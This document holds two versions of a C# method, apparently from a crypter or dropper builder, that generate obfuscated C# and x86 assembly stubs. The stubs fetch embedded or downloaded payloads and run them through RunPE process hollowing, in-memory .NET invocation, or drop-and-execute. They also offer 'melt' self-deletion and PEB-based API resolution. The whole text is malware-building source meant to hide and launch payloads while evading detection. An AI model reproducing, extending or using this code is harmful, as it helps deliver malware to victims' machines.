private void CompileStage2() { try { // Only compile methods that are needed if (Project.Sources.OfType <EmbeddedSource>().Any()) { Stage2SourceCodeFiles.Add("GetResource.cs"); } if (Project.Sources.OfType <EmbeddedSource>().Any(source => source.Compress)) { Stage2SourceCodeFiles.Add("Compression.cs"); } if (Project.Sources.OfType <DownloadSource>().Any()) { Stage2SourceCodeFiles.Add("Download.cs"); } if (Project.Actions.OfType <RunPEAction>().Any()) { Stage2SourceCodeFiles.Add("RunPE.cs"); } if (Project.Actions.OfType <InvokeAction>().Any()) { Stage2SourceCodeFiles.Add("Invoke.cs"); } if (Project.Actions.OfType <DropAction>().Any()) { Stage2SourceCodeFiles.Add("Drop.cs"); } // Compile resources using (ResourceWriter resourceWriter = new ResourceWriter(GetIntermediateSourcePath(@"Resources\" + Stage2ResourcesFileName))) { foreach (EmbeddedSource source in Project.Sources.OfType <EmbeddedSource>()) { byte[] file = File.ReadAllBytes(source.Path); resourceWriter.AddResource(source.AssemblyId.ToString(), source.Compress ? Compression.Compress(file) : file); } } // Compile main program string[] stage2Lines = File.ReadAllLines(GetIntermediateSourcePath("Stage2.cs")); using (CSharpStream assembly = new CSharpStream(GetIntermediateSourcePath("Stage2.cs"))) { if (Project.Startup.Melt) { assembly.Emit("#define MELT"); assembly.WriteLine(); } foreach (string line in stage2Lines) { if (line.Trim() == "//{MAIN}") { assembly.Indent = 8; // Compile actions foreach (ProjectAction action in Project.Actions) { assembly.EmitLabel("action_" + action.AssemblyId); assembly.Emit("try"); assembly.BlockBegin(); // Retrieve source if (action.Source is EmbeddedSource embeddedSource) { assembly.EmitComment("Get embedded file: " + Path.GetFileName(embeddedSource.Path)); assembly.Emit("byte[] payload = __GetResource(/**/\"" + embeddedSource.AssemblyId + "\");"); assembly.WriteLine(); if (embeddedSource.Compress) { assembly.EmitComment("Decompress embedded file"); assembly.Emit("payload = __Decompress(payload);"); assembly.WriteLine(); } } else if (action.Source is DownloadSource downloadSource) { assembly.EmitComment("Download: " + downloadSource.Url); assembly.Emit("byte[] payload = __Download(/**/\"" + downloadSource.Url + "\");"); assembly.WriteLine(); } else if (action is MessageBoxAction) { } else { throw new InvalidOperationException(); } // Perform action if (action is RunPEAction) { assembly.EmitComment("RunPE"); assembly.Emit("__RunPE(Application.ExecutablePath, __CommandLine, payload);"); } else if (action is InvokeAction) { assembly.EmitComment("Invoke .NET executable"); assembly.Emit("__Invoke(payload);"); } else if (action is DropAction dropAction) { assembly.EmitComment("Drop " + dropAction.Location.GetDescription() + @"\" + dropAction.FileName + (dropAction.ExecuteVerb == ExecuteVerb.None ? null : " and execute (verb: " + dropAction.ExecuteVerb.GetDescription() + ")")); assembly.Emit("__DropFile(/**/" + (int)dropAction.Location + ", payload, /**/" + new QuotedString(dropAction.FileName) + ", /**/" + dropAction.GetWin32FileAttributes() + ", /**/" + (int)dropAction.ExecuteVerb + ");"); } else if (action is MessageBoxAction messageBoxAction) { assembly.EmitComment("MessageBox (icon: " + messageBoxAction.Icon.GetDescription() + ", buttons: " + messageBoxAction.Buttons.GetDescription() + ")"); assembly.Emit("DialogResult result = MessageBox.Show(/**/" + new QuotedString(messageBoxAction.Text) + ", /**/" + new QuotedString(messageBoxAction.Title) + ", (MessageBoxButtons)/**/" + (int)messageBoxAction.Buttons + ", (MessageBoxIcon)/**/" + (int)messageBoxAction.Icon + ");"); if (messageBoxAction.HasEvents) { assembly.WriteLine(); } EmitMessageBoxEvent(messageBoxAction.OnOk, "ok", 1); EmitMessageBoxEvent(messageBoxAction.OnCancel, "cancel", 2); EmitMessageBoxEvent(messageBoxAction.OnYes, "yes", 6); EmitMessageBoxEvent(messageBoxAction.OnNo, "no", 7); EmitMessageBoxEvent(messageBoxAction.OnAbort, "abort", 3); EmitMessageBoxEvent(messageBoxAction.OnRetry, "retry", 4); EmitMessageBoxEvent(messageBoxAction.OnIgnore, "ignore", 5); void EmitMessageBoxEvent(ActionEvent actionEvent, string eventName, int result) { if (actionEvent != ActionEvent.None) { assembly.EmitComment("If '" + eventName + "' was clicked, " + Helper.GetCommentForActionEvent(actionEvent)); string code = "if (result == (DialogResult)/**/" + result + ") "; switch (actionEvent) { case ActionEvent.SkipNextAction: code += "goto " + (action == Project.Actions.Last() ? "end" : "action_" + (action.AssemblyId + 1) + "_end") + ";"; break; case ActionEvent.Exit: code += "goto end;"; break; default: throw new InvalidOperationException(); } assembly.Emit(code); } } } else { throw new InvalidOperationException(); } assembly.BlockEnd(); assembly.Emit("catch"); assembly.BlockBegin(); assembly.BlockEnd(); assembly.EmitLabel("action_" + action.AssemblyId + "_end"); assembly.WriteLine(); } } else { assembly.Indent = 0; assembly.WriteLine(line); } } } // Obfuscate code Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Stage2.cs")); } catch (ErrorException ex) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details); } catch (Exception ex) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling stage2.", ex.GetFullStackTrace()); } }
private void CompileStage2() { try { // Compile files into EmbeddedSources.inc using (AssemblyStream assembly = new AssemblyStream(GetIntermediateSourcePath("EmbeddedSources.inc"))) { foreach (EmbeddedSource source in Project.Sources.OfType <EmbeddedSource>()) { string relativePath = @"Resources\EmbeddedSource-" + source.AssemblyId; string filePath = GetIntermediateSourcePath(relativePath); long size = new FileInfo(source.Path).Length; assembly.EmitComment(Path.GetFileName(source.Path)); if (source.Compress) { byte[] compressed = NtCompression.Compress(File.ReadAllBytes(source.Path)); if (compressed == null) { throw new ErrorException("Failed to compress '" + Path.GetFileName(source.Path) + "'."); } File.WriteAllBytes(filePath, compressed); int compressionRatio = 100 - (int)(compressed.Length * 100L / size); if (compressionRatio < 10) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Warning, "Compression ratio for '" + Path.GetFileName(source.Path) + "' is only " + compressionRatio + "%. It is recommended to disable compression."); } assembly.EmitConstant("EmbeddedSource" + source.AssemblyId + "Size", compressed.Length.ToString()); assembly.EmitConstant("EmbeddedSource" + source.AssemblyId + "DecompressedSize", size.ToString()); assembly.EmitFileData("EmbeddedSource" + source.AssemblyId, relativePath); } else { File.Copy(source.Path, filePath, true); assembly.EmitConstant("EmbeddedSource" + source.AssemblyId + "Size", size.ToString()); assembly.EmitFileData("EmbeddedSource" + source.AssemblyId, relativePath); } assembly.WriteLine(); } } // Compile strings into EmbeddedStrings.inc using (AssemblyStream assembly = new AssemblyStream(GetIntermediateSourcePath("EmbeddedStrings.inc"))) { assembly.BinaryDataNameIndent = 20; // Compile download URL's foreach (DownloadSource source in Project.Sources.OfType <DownloadSource>()) { assembly.EmitComment(source.Url); assembly.EmitStringData("DownloadUrl" + source.AssemblyId, source.Url); } // Compile drop filenames foreach (DropAction action in Project.Actions.OfType <DropAction>()) { assembly.EmitComment(action.FileName); assembly.EmitStringData("DropFileName" + action.AssemblyId, action.FileName); } // Compile MessageBox strings foreach (MessageBoxAction action in Project.Actions.OfType <MessageBoxAction>()) { assembly.EmitComment(action.Title); assembly.EmitStringData("MessageBoxTitle" + action.AssemblyId, action.Title); assembly.EmitComment(action.Text); assembly.EmitStringData("MessageBoxText" + action.AssemblyId, action.Text); } } // Compile main program string[] stage2Lines = File.ReadAllLines(GetIntermediateSourcePath("Stage2.asm")); using (AssemblyStream assembly = new AssemblyStream(GetIntermediateSourcePath("Stage2.asm"))) { foreach (string line in stage2Lines) { if (line.Trim() == ";{MAIN}") { assembly.Indent = 4; // Compile actions foreach (ProjectAction action in Project.Actions) { if (action != Project.Actions.First()) { assembly.EmitComment(new string('-', 74)); assembly.WriteLine(); } bool deletePayload = false; assembly.EmitLabel("action_" + action.AssemblyId); // Retrieve source if (action.Source is EmbeddedSource embeddedSource) { if (embeddedSource.Compress) { assembly.EmitComment("Decompress embedded file: " + Path.GetFileName(embeddedSource.Path)); assembly.Emit("stdcall", "Decompress, EmbeddedSource" + action.Source.AssemblyId + ", EmbeddedSource" + action.Source.AssemblyId + "Size, EmbeddedSource" + action.Source.AssemblyId + "DecompressedSize"); assembly.Emit("test", "eax, eax"); assembly.Emit("jz", ".action_" + action.AssemblyId + "_end"); assembly.Emit("mov", "[Payload], eax"); assembly.Emit("mov", "[PayloadSize], EmbeddedSource" + action.Source.AssemblyId + "DecompressedSize"); assembly.WriteLine(); deletePayload = true; } else { assembly.EmitComment("Get embedded file: " + Path.GetFileName(embeddedSource.Path)); assembly.Emit("mov", "[Payload], EmbeddedSource" + action.Source.AssemblyId); assembly.Emit("mov", "[PayloadSize], EmbeddedSource" + action.Source.AssemblyId + "Size"); assembly.WriteLine(); } } else if (action.Source is DownloadSource downloadSource) { assembly.EmitComment("Download: " + downloadSource.Url); assembly.Emit("lea", "eax, [PayloadSize]"); assembly.Emit("stdcall", "Download, DownloadUrl" + action.Source.AssemblyId + ", eax"); assembly.Emit("test", "eax, eax"); assembly.Emit("jz", ".action_" + action.AssemblyId + "_end"); assembly.Emit("mov", "[Payload], eax"); assembly.WriteLine(); deletePayload = true; } else if (action is MessageBoxAction) { } else { throw new InvalidOperationException(); } // Perform action if (action is RunPEAction) { assembly.EmitComment("RunPE"); assembly.Emit("stdcall", "RunPE, [Payload]"); assembly.WriteLine(); } else if (action is DropAction dropAction) { assembly.EmitComment("Drop " + dropAction.Location.GetDescription() + @"\" + dropAction.FileName + (dropAction.ExecuteVerb == ExecuteVerb.None ? null : " and execute (verb: " + dropAction.ExecuteVerb.GetDescription() + ")")); assembly.Emit("stdcall", "DropFile, " + (int)dropAction.Location + ", [Payload], [PayloadSize], DropFileName" + action.AssemblyId + ", " + dropAction.GetWin32FileAttributes() + ", " + (int)dropAction.ExecuteVerb); assembly.Emit("test", "eax, eax"); assembly.Emit("jz", ".action_" + action.AssemblyId + "_end"); assembly.WriteLine(); } else if (action is MessageBoxAction messageBoxAction) { assembly.EmitComment("MessageBox (icon: " + messageBoxAction.Icon.GetDescription() + ", buttons: " + messageBoxAction.Buttons.GetDescription() + ")"); assembly.Emit("pebcall", "PEB_User32Dll, PEB_MessageBoxW, NULL, MessageBoxText" + action.AssemblyId + ", MessageBoxTitle" + action.AssemblyId + ", 0x" + ((int)messageBoxAction.Icon | (int)messageBoxAction.Buttons).ToString("x8")); assembly.WriteLine(); EmitMessageBoxEvent(messageBoxAction.OnOk, "ok", 1); EmitMessageBoxEvent(messageBoxAction.OnCancel, "cancel", 2); EmitMessageBoxEvent(messageBoxAction.OnYes, "yes", 6); EmitMessageBoxEvent(messageBoxAction.OnNo, "no", 7); EmitMessageBoxEvent(messageBoxAction.OnAbort, "abort", 3); EmitMessageBoxEvent(messageBoxAction.OnRetry, "retry", 4); EmitMessageBoxEvent(messageBoxAction.OnIgnore, "ignore", 5); void EmitMessageBoxEvent(ActionEvent actionEvent, string eventName, int returnValue) { if (actionEvent != ActionEvent.None) { assembly.EmitComment("If '" + eventName + "' was clicked, " + Helper.GetCommentForActionEvent(actionEvent)); assembly.Emit("cmp", "eax, " + returnValue); assembly.Emit("jne", "@f"); switch (actionEvent) { case ActionEvent.SkipNextAction: assembly.Emit("jmp", action == Project.Actions.Last() ? ".ret" : ".action_" + (action.AssemblyId + 1) + "_end"); break; case ActionEvent.Exit: assembly.Emit("jmp", ".ret"); break; default: throw new InvalidOperationException(); } assembly.EmitLabel(); assembly.WriteLine(); } } } else { throw new InvalidOperationException(); } // Delete payload, if additional memory was allocated. if (deletePayload) { assembly.EmitComment("Delete payload"); assembly.Emit("pebcall", "PEB_Kernel32Dll, PEB_GetProcessHeap"); assembly.Emit("pebcall", "PEB_Kernel32Dll, PEB_HeapFree, eax, 0, [Payload]"); } assembly.EmitLabel("action_" + action.AssemblyId + "_end"); assembly.WriteLine(); } } else if (line.Trim() == ";{MELT}") { assembly.Indent = 4; if (Project.Startup.Melt) { assembly.EmitComment("Melt"); assembly.Emit("stdcall", "Melt"); } } else { assembly.Indent = 0; assembly.WriteLine(line); } } } } catch (ErrorException ex) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details); } catch (Exception ex) { Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling stage2.", ex.GetFullStackTrace()); } }